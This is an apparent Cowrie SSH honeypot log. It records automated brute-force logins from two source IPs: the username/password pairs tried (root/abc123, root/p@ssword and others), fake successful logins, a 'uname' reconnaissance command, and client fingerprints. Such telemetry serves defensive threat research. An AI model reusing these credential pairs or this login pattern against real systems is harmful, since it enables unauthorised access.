{"eventid":"cowrie.login.success","username":"root","password":"abc123","message":"login attempt [root/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:35.865473Z","src_ip":"101.44.96.62","session":"01cc42054b2e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:36.341772Z","src_ip":"101.44.96.62","session":"01cc42054b2e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:36.345093Z","src_ip":"101.44.96.62","session":"01cc42054b2e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:36.561931Z","src_ip":"101.44.96.62","session":"01cc42054b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:36.566338Z","src_ip":"101.44.96.62","session":"01cc42054b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":49040,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb58aa879af6","protocol":"ssh","message":"New connection: 101.44.96.62:49040 (159.203.135.109:22) [session: fb58aa879af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:48.452891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:48.457381Z","src_ip":"101.44.96.62","session":"fb58aa879af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:48.674285Z","src_ip":"101.44.96.62","session":"fb58aa879af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:49.324991Z","src_ip":"101.44.96.62","session":"fb58aa879af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:50.544592Z","src_ip":"101.44.96.62","session":"fb58aa879af6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":58594,"dst_ip":"159.203.135.109","dst_port":22,"session":"5217f9cf2c65","protocol":"ssh","message":"New connection: 101.44.96.62:58594 (159.203.135.109:22) [session: 5217f9cf2c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:01.976338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:01.982010Z","src_ip":"101.44.96.62","session":"5217f9cf2c65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:02.196346Z","src_ip":"101.44.96.62","session":"5217f9cf2c65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:02.838613Z","src_ip":"101.44.96.62","session":"5217f9cf2c65","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:03.308561Z","src_ip":"101.44.96.62","session":"5217f9cf2c65","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:03.311815Z","src_ip":"101.44.96.62","session":"5217f9cf2c65","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:03.531155Z","src_ip":"101.44.96.62","session":"5217f9cf2c65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:03.536573Z","src_ip":"101.44.96.62","session":"5217f9cf2c65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56268,"dst_ip":"159.203.135.109","dst_port":22,"session":"f443aa6701f8","protocol":"ssh","message":"New connection: 101.44.96.62:56268 (159.203.135.109:22) [session: f443aa6701f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:15.503545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:15.506870Z","src_ip":"101.44.96.62","session":"f443aa6701f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:15.724541Z","src_ip":"101.44.96.62","session":"f443aa6701f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:16.375877Z","src_ip":"101.44.96.62","session":"f443aa6701f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:17.595811Z","src_ip":"101.44.96.62","session":"f443aa6701f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50480,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d9c321a62cb","protocol":"ssh","message":"New connection: 101.44.96.62:50480 (159.203.135.109:22) [session: 0d9c321a62cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:28.928028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:28.935462Z","src_ip":"101.44.96.62","session":"0d9c321a62cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:29.157103Z","src_ip":"101.44.96.62","session":"0d9c321a62cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:29.820736Z","src_ip":"101.44.96.62","session":"0d9c321a62cb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:30.289890Z","src_ip":"101.44.96.62","session":"0d9c321a62cb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:30.293296Z","src_ip":"101.44.96.62","session":"0d9c321a62cb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:30.514229Z","src_ip":"101.44.96.62","session":"0d9c321a62cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:30.519232Z","src_ip":"101.44.96.62","session":"0d9c321a62cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39846,"dst_ip":"159.203.135.109","dst_port":22,"session":"a29dce39c0b6","protocol":"ssh","message":"New connection: 101.44.96.62:39846 (159.203.135.109:22) [session: a29dce39c0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:42.471764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:42.476613Z","src_ip":"101.44.96.62","session":"a29dce39c0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:42.692079Z","src_ip":"101.44.96.62","session":"a29dce39c0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:43.338201Z","src_ip":"101.44.96.62","session":"a29dce39c0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:44.557063Z","src_ip":"101.44.96.62","session":"a29dce39c0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":36042,"dst_ip":"159.203.135.109","dst_port":22,"session":"6534b26d3a51","protocol":"ssh","message":"New connection: 101.44.96.62:36042 (159.203.135.109:22) [session: 6534b26d3a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:55.961191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:55.966967Z","src_ip":"101.44.96.62","session":"6534b26d3a51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:56.184858Z","src_ip":"101.44.96.62","session":"6534b26d3a51","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:56.833119Z","src_ip":"101.44.96.62","session":"6534b26d3a51","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:57.299135Z","src_ip":"101.44.96.62","session":"6534b26d3a51","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:57.302416Z","src_ip":"101.44.96.62","session":"6534b26d3a51","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:57.522367Z","src_ip":"101.44.96.62","session":"6534b26d3a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:57.527985Z","src_ip":"101.44.96.62","session":"6534b26d3a51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.90.33.23","src_port":57616,"dst_ip":"159.203.135.109","dst_port":22,"session":"ada67b7e20d8","protocol":"ssh","message":"New connection: 189.90.33.23:57616 (159.203.135.109:22) [session: ada67b7e20d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:58.306330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:58.311406Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:58.448256Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"myfriend","message":"login attempt [root/myfriend] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:26:59.022238Z","src_ip":"189.90.33.23","session":"ada67b7e20d8","protocol":"ssh"}
